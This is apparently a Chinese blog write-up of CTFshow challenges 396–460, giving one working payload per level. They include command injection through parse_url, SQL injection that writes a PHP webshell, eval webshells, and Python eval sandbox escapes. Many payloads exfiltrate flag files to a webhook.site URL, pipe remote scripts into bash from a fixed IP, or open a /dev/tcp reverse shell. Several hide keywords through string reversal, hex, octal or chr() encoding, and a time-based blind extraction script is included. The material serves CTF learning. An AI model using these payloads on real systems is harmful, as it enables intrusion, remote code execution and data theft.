CTFshow——其他

396——parse_url()

需要加上绝对路径

/?url=http://ls;echo `ls`/var/www/html/2.txt
/?url=http://ls;echo `cat f*`/var/www/html/3.txt

397——parse_url()

使用../迁移目录

/?url=http://;echo `cat f*`/../var/www/html/1.txt

398~401

通杀了…

?url=http://`cat f*`/../var/www/html/7.txt

398~402

ban了http、https那就换个协议头,比如ftp

?url=ftp://`cat f*`/../var/www/html/7.txt

403

<?php
error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
        shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
    }

}else{
    highlight_file(__FILE__);
}

这个正则表达是匹配IP地址的
在这里插入图片描述
可以在$url['path']处使用;另起一条命令

?url=http://100.100.100.100/;nl ./*>/var/www/html/2.txt

405

需要注意$url['host']的正则少了^$,那么就在这儿切入

if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
/?url=.http://119.29.60.71;cat f*>2.txt;/a

406——FILTER_VALIDATE_URL

require 'config.php';
//flag in db
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
    $sql = "select * from links where url ='{$url}'";
    $result = $conn->query($sql);
}else{
    echo '不通过';
}

写马,然后蚁剑连接即可:

?url=0://1'/**/union/**/select/**/1,0x3c3f3d706870696e666f28293b3f3e/**/into/**/outfile/**/"/var/www/html/2.php"%23

在这里插入图片描述

407——FILTER_VALIDATE_IP

highlight_file(__FILE__);
error_reporting(0);
$ip=$_GET['ip'];

if(filter_var ($ip,FILTER_VALIDATE_IP)){
    call_user_func($ip);
}

class cafe{
    public static function add(){
        echo file_get_contents('flag.php');
    }
}

IPv6 地址表示为:__x:__x:__x:__x:__x:__x:__x:__x,其中每个 x 是代表一个 4 位的十六进制数字

一般会使用双冒号(::)代替一系列零来指定 IPv6 地址,例如ff06:0:0:0:0:0:0:c3可写为ff06::c3

恰好静态函数的调用会用到::

?ip=cafe::add

408——FILTER_VALIDATE_EMAIL

highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];

if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
    file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
}

在这里插入图片描述
也就是说需要将特殊字符写在双引号中

?email="<?=eval($_POST[2]);?>"@1.php

409——FILTER_VALIDATE_EMAIL

highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
    $email=preg_replace('/.flag/', '', $email);
    eval($email);
}

还是要将代码包裹在双引号中,但又要注意不得影响eval的执行,
一开始这样的payload,但报错@

"echo`ls`;"@123.com

闭合一下php标签即可不包含@以后的内容

"echo`ls`;?>"@123.com

但还是会报错,因为一开始的双引号没有闭合,导致php执行失败,但这里不能再添加多一个双引号去闭合了,否则过不了filter_var,最后是结合替换为空的正则,将双引号替换掉即可

?email="flageval($_POST[1]);?>"@123.php

1=system("cat /f*");

410、411——FILTER_VALIDATE_BOOLEAN

highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
    if($b=='true' || intval($b)>0){
        die('FLAG NOT HERE');
    }else{
        echo $flag;
    }
}

关于FILTER_VALIDATE_BOOLEAN

可能的返回值:

如果是 "1", "true", "on" 以及 "yes",则返回 true。
如果是 "0", "false", "off", "no" 以及 "",则返回 false。
否则返回 NULL。

所以只要是ontrue都能

412

//是单行注释,利用换行符%0a另起一行

ctfshow=%0aeval($_POST[1]);

又或者利用?>闭合标签,注释符无法注释?>

ctfshow=?><?php eval($_POST[1]);?>

413

ctfshow=*/eval($_POST[1]);/*&1=system("cat f*");

414

在这里插入图片描述

?ctfshow=-9

415

php 大小写不敏感,PHP大小写是否敏感问题的汇总
首先你可以通过大小写绕过,因为函数名、类名是不区分大小写的

?k=Getflag

其次有一种东西叫命名空间,

如果没有定义任何命名空间,所有的类与函数的定义都是在全局空间,与 PHP 引入命名空间概念前一样。在名称前加上前缀\表示该名称是全局空间中的名称

只不过我们平时都会省略\\A()A()指代的是同一个函数

?k=\getflag

416

ctf::flag

417

这题有点恶心,直接看师傅们的结果了,最后代码是这个

include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
	echo $flag;
}else{
	echo 'FLAG_NOT_HERE';
}
?>

418——extract

<?php
$key= 0;
$clear='clear.php';
highlight_file(__FILE__);

//获取参数
$ctfshow=$_GET['ctfshow'];
//包含清理脚本
include($clear);


extract($_POST);
if($key===0x36d){
    //帮黑阔写好后门
    eval('<?php '.$ctfshow.'?>');
}else{
    $die?die('FLAG_NOT_HERE'):clear($clear);
}

function clear($log){
    shell_exec('rm -rf '.$log);
}

一开始想着执行eval,但发现绕不过$key===0x36d,原来是我们提交的$key类型是String型,在强等于情况下不可能与数字型相等,那么就是在shell_exec处命令注入了

die=&clear=;nl *>/var/www/html/1.txt;

419

code=`nl *>1.txt`;

420

code=nl ../*

421——五字符命令执行

<?php
highlight_file(__FILE__);


$code = $_POST['code'];
if(strlen($code) < 6){
    system($code);
}

依次执行以下,即可将当前目录所有文件写入1,利用的是linux文件排序的特性。

code=>cat
code=*>1

此外也可以使用ls -t的方式绕过,我略了

422——四字符命令执行

code=>cat
code=*

flag在当前目录,也可以

code=nl *

423、424

SSTI,然后一直报错500,结果是因为代码中的return需要返回的是字符串。需要用str()函数转

?code=str(''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__["po"+"pen"]("cat /f*").read())

如果知道文件名还可以直接open读取

?code=str(open('/flag').read())

还可以curl外带数据

?code=str(''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__["po"+"pen"]("curl https://webhook.site/40a774db-2951-45a3-b3f6-c07ca7b80384/?a=`cat /f*`"))

源码如下:

from flask import Flask
from flask import request
import os

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

web426:

reg = re.compile(r'os|popen')
if reg.match(code)==None:
return eval(code)

re.match()从字符串开头匹配的,所以只要payload不是os、popen开头就不会匹配到,有点形同虚设

431:

if code:
	reg = re.compile(r'os|open|system|read|eval|str')
	if reg.match(code)==None:
		 return eval(code)

过滤了str,但同样是用match来匹配的,所以只需要在str前加个空格即可

?code= str(''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__["po"+"pen"]("nl *").read())

432

没有回显了,外带数据

?code= str(''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__["po"+"pen"]("curl https://webhook.site/40a774db-2951-45a3-b3f6-c07ca7b80384/?a=`cat /f*`"))

433

if code:
  	reg = re.compile(r'os|open|system|read|eval|builtins')
  	if reg.search(code)==None:
  		return eval(code)
return 'where is flag?<!-- /?code -->'

可以反弹shell,在VPS上写个bash.txt:bash -c bash -i >/dev/tcp/119.1.1.1/7777 0>&1

str(''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__["po"+"pen"]("curl http://119.1.1.1/bash.txt|bash"))

搜集一下yu师傅的payload:

?code=str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl https://webhook.site/40a774db-2951-45a3-b3f6-c07ca7b80384?p=`cat /f*`'))

搜集一下Y4师傅的payload:

?code=str(''.__class__.__bases__[0].__subclasses__()[185].__init__.__globals__['__buil''tins__']['__imp'+'ort__']('o'+'s').__dict__['pop'+'en']('curl https://webhook.site/40a774db-2951-45a3-b3f6-c07ca7b80384/?1=`cat /flag`'))

434

if code:
	code = stringQ2B(code)
	reg = re.compile(r'os|open|system|read|eval|builtins|curl')
	if reg.search(code)==None:
		return eval(code)

curl被过滤,用+连接两个字符串

?code=str(''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__["po"+"pen"]("cu"+"rl http://119.29.60.1/bash.txt|bash"))

435、436

if code:
	code = stringQ2B(code)
	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr')
	if reg.search(code)==None:
		return eval(code)

方法一:
过滤了_,这里学习下yu师傅的payload

str(exec(')"`*f/ tac`=p?7654:xxx//:ptth lruc"(metsys.so ;so tropmi'[::-1]))

主要是用到了[::-1]反转字符从而绕过了很多关键字,此外用exec代替eval、system实现命令执行,确实很巧妙,需要注意exec是不带回显的,因此还是要用外带的方式。

改成反弹shell的:
在这里插入图片描述

str(exec('xxxxxx'[::-1]))
即
?code=str(exec(')"hsab|txt.hsab/17.06.92.911//:ptth lruc"(metsys.so;so tropmi'[::-1]))

方法二:

此外看到Y4师傅用到了编码,突然想起用编码来绕关键字

# 生成 Unicode编码、16进制字符、8进制字符
input = input()

print("'", end="")
for letter in input:
    #print(hex(ord(letter)).replace("0x", r"\x"), end="")
    #print(hex(ord(letter)).replace("0x", r"\u00"), end="")
    print(oct(ord(letter)).replace("0o", "\\"), end="")
    
print("'")

首先是unicode编码:例如 system就等同于 \u0073ystem

?code=str(exec('import o\u0073;o\u0073.\u0073ystem("\u0063\u0075\u0072\u006c\u0020\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0031\u0031\u0039\u002e\u0032\u0039\u002e\u0036\u0030\u002e\u0037\u0031\u002f\u0062\u0061\u0073\u0068\u002e\u0074\u0078\u0074\u007c\u0062\u0061\u0073\u0068")'))

方法三:
那unicode编码都用上了,自然少不了16进制的绕过:

?code=str(exec('import o\x73;o\x73.\x73ystem("\x63\x75\x72\x6c\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31\x31\x39\x2e\x32\x39\x2e\x36\x30\x2e\x37\x31\x2f\x62\x61\x73\x68\x2e\x74\x78\x74\x7c\x62\x61\x73\x68")'))

方法四:
那16进制用都上了,自然少不了8进制的绕过:
?code=str(exec('import o\163;o\163.\163ystem("\143\165\162\154\40\150\164\164\160\72\57\57\61\61\71\56\62\71\56\66\60\56\67\61\57\142\141\163\150\56\164\170\164\174\142\141\163\150")'))
方法五:
Y4师傅用chr()得到字符与用+对字符进行拼接,秒啊~

input = input()

print("'", end="")
res=''
for letter in input:
    res += 'chr('+str(ord(letter))+')%2B'
print( res[:-3] + "'")

?code=str(exec(chr(105)%2Bchr(109)%2Bchr(112)%2Bchr(111)%2Bchr(114)%2Bchr(116)%2Bchr(32)%2Bchr(111)%2Bchr(115)%2Bchr(59)%2Bchr(111)%2Bchr(115)%2Bchr(46)%2Bchr(115)%2Bchr(121)%2Bchr(115)%2Bchr(116)%2Bchr(101)%2Bchr(109)%2Bchr(40)%2Bchr(34)%2Bchr(99)%2Bchr(117)%2Bchr(114)%2Bchr(108)%2Bchr(32)%2Bchr(104)%2Bchr(116)%2Bchr(116)%2Bchr(112)%2Bchr(58)%2Bchr(47)%2Bchr(47)%2Bchr(49)%2Bchr(49)%2Bchr(57)%2Bchr(46)%2Bchr(50)%2Bchr(57)%2Bchr(46)%2Bchr(54)%2Bchr(48)%2Bchr(46)%2Bchr(55)%2Bchr(49)%2Bchr(47)%2Bchr(98)%2Bchr(97)%2Bchr(115)%2Bchr(104)%2Bchr(46)%2Bchr(116)%2Bchr(120)%2Bchr(116)%2Bchr(124)%2Bchr(98)%2Bchr(97)%2Bchr(115)%2Bchr(104)%2Bchr(34)%2Bchr(41)))

438

if code:
	code = stringQ2B(code)
	if '\\u' in code:
		return 'hacker?'
	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{')
	if reg.search(code)==None:
		return eval(code)

439

if code:
	code = stringQ2B(code)
	if '\\u' in code:
		return 'hacker?'
	if '\\x' in code:
		return 'hacker?'
	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{')
	if reg.search(code)==None:
		return eval(code)

可以用8进制的方式,可以反转绕过、可以chr()绕过

440

if code:
 	code = stringQ2B(code)
 	if '\\u' in code:
 		return 'hacker?'
 	if '\\x' in code:
 		return 'hacker?'
 	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"')
 	if reg.search(code)==None:
 		return eval(code)

单双引号都没了,那就只能用chr来得到任何字符,参考方法五

441

if code:
	code = stringQ2B(code)
	if '\\u' in code:
		return 'hacker?'
	if '\\x' in code:
		return 'hacker?'
	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+')
	if reg.search(code)==None:
		return eval(code)

过滤了+,使用request的属性,比如request.args.arequest.args['a']就获取参数a的值

?code=str(exec(request.args[chr(97)]))&a=__import__("os").system("curl http://119.29.60.71/bash.txt|bash")

442

if code:
 	code = stringQ2B(code)
 	if '\\u' in code:
 		return 'hacker?'
 	if '\\x' in code:
 		return 'hacker?'
 	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]')
 	if reg.search(code)==None:
 		return eval(code)

多过滤了数字,着实想不到…
羽师傅是利用request.method的,这题request.method自然是等于GET,于是这样就得到了字符

str(exec(request.args.get(request.method)))&GET=import os;os.system("curl http://119.29.60.71/bash.txt|bash")


Y4师傅用了预定义常量:None,不过需要str()转成字符型
在这里插入图片描述
str(exec(request.args.get(str(True))))&True=import os;os.system("curl http://119.29.60.71/bash.txt|bash")

443、444

if code:
	code = stringQ2B(code)
	if '\\u' in code:
		return 'hacker?'
	if '\\x' in code:
		return 'hacker?'
	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request')
	if reg.search(code)==None:
		return eval(code)

request被过滤 了
参考羽师傅的利用globals()函数,globals()函数以字典形式返回当前所有的全局变量,

直接str(globals())打印所有全局变量,其中就包含request,位于第十一个,那么用str(list(globals().keys())[10])就理应得到request这个字符,但得到的字符并不具备属性,所以得从globas()里取key为request的value值,也就是再套一个globals(),也就是str(globals().get(list(globals().keys())[10])),所以现在只需凑出10即可,10可以这么得到:len(str(Flase))-(-len(str(Flase))),还可以:len(str(None))-(-len(str(None)))-(-True)-(-True)

最后的payload:

#GET
?None=import os;os.system("curl http://119.29.60.71/bash.txt|bash")
#POST
code=str(exec(globals().get(list(globals().keys())[len(str(None))-(-len(str(None)))-(-True)-(-True)]).args.get(str(None))))
或者只用True拼凑数字:
code=str(exec(globals().get(list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]).args.get(str(None))))

445、446

del os.system
del os.popen

多了这两行代码。既然systempopen不能用,可以尝试subprocess.popen,注意 要加上shell=True

?None=import subprocess;subprocess.Popen('curl http://119.29.60.71/bash.txt|bash',shell=True)

code=str(exec(globals().get(list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]).args.get(str(None))))

此外还可以尝试imp模块下的reload()函数,用于重新载入之前载入的模块

?None=import imp; imp.reload(os);os.system("sleep 2")

code=str(exec(globals().get(list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]).args.get(str(None))))

447

from flask import Flask
from flask import request
import re
import os
import imp
del os.system
del os.popen
del imp.reload
import subprocess
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.getstatusoutput
del subprocess.getoutput
del subprocess.check_call
del subprocess.check_output
import timeit
del timeit.timeit

subprocess没了,回到reload,虽然删了imp.reload,但imp.reload的源码中是调用importlib.reload
在这里插入图片描述
所以我们直接导入importlib.reload就可以绕过

?None=from importlib import reload;import os;reload(os);os.system("curl http://119.29.60.71/bash.txt|bash")

code=str(exec(globals().get(list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]).args.get(str(None))))

448

羽师傅是导入shutil模块进行文件操作,copy一份os.py,然后导入a即可,妙

?None=import shutil;shutil.copy("/usr/local/lib/python3.8/os.py","a.py");import a;a.system("curl http://119.29.60.71/bash.txt|bash")

code=str(exec(globals().get(list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]).args.get(str(None))))

Y4师傅是删除sys.modules['os'],然后再重新导入,妙

?None=del sys.modules['os'];import os;os.system("sleep 5");

449

sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None
sys.modules['sys']=None

可以用urllib.request.urlopen来代替curl发送请求,同时用a=open('/flag')即可读取flag

?None=s=open('/flag').read();import urllib;urllib.request.urlopen('https://webhook.site/40a774db-2951-45a3-b3f6-c07ca7b80384?a='%2bs)

Y4师傅还用到了延时盲注的方法
?None=a=open('/flag').read();import time;time.sleep(1) if a[0]=='c' else pass

import requests
import sys
letter = '1234567980abcdeftshow{-}'
flag = ''
for i in range(0,50):
    for j in letter:
       
        burp0_url = "http://dbd3df46-5e18-48fc-b7db-51be26492409.challenge.ctf.show:8080/?None=a=open('/flag').read();import time;time.sleep(1) if a[{}]=='{}' else pass".format(i,j)
        burp0_cookies = {"UM_distinctid": "179e6638a1ca-0ea164658aa927-c791039-144000-179e6638a1d218"}
        burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://dbd3df46-5e18-48fc-b7db-51be26492409.challenge.ctf.show:8080", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://dbd3df46-5e18-48fc-b7db-51be26492409.challenge.ctf.show:8080/?None=a=open(%27/flag%27).read();import%20time;time.sleep(5)%20if%20a[0]==%22c%22%20else%202", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
        burp0_data = {"code": "str(exec(globals().get(list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]).args.get(str(None))))"}
        #print(burp0_url)

        try:
            requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,timeout=1)
        except Exception as e:
            flag += j
            print('[*]'+flag)
            if j == '}':
                sys.exit()

450、451

原理就是:两个相同的字符异或,那么底层结果得到的都是0,0再和另外一个字符异或,始终都会得到另外一个字符

?ctfshow=phpinfo^phpinfo^phpinfo
?ctfshow=dmindll^pmiinfo^dhpndll

452

简单的拼接

?ctfshow=(php.info)();

453~456

class ctf{
	public function show($request,$response){
		 $response->header('Content-Type', 'text/html; charset=utf-8');
		 $s=$request->post['s'];
		 if(isset($s)){
		 	$response->end(file_get_contents($s));
		 }else{
		 	$response->end('s not found');
		 }
	}
	public function file($request,$response){
 		 $response->header('Content-Type', 'text/html; charset=utf-8');
		 $s=$request->post['s'];
		 if(isset($s)){
		 	file_put_contents('shell.php', $s);
		 	$response->end('file write done in /var/www/shell.php');
		 }else{
		 	$response->end('s not found');
		 }
	}
	public function exec($request,$response){
		system('php shell.php');
		$response->end('command exec done');
	}
}

源码中的file用于往shell.php写内容,exec方法用于执行shell.php

/ctf/file
s=<?php system("curl http://webhook.site/40a774db-2951-45a3-b3f6-c07ca7b80384/?a=`cat f*`");?>

接着访问:/ctf/exec

457

就是要进入第二个分支,那么需要一个回调后能返回True的函数,比如说phpinfo()、phpcredits()他们的返回都是布尔类型

phpinfo(int $what = INFO_ALL): bool

458

巧的是执行语句的类名是admin

get_class(class name);        //取得当前语句所在类的类名 
?u=admin&p=get_class

459

用到了copy函数,虽然限定了后缀,但我们配合php://filter进行base64编码即可

?u=flag.php&p=php://filter/convert.base64-encode/resource=1

460

不会…

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值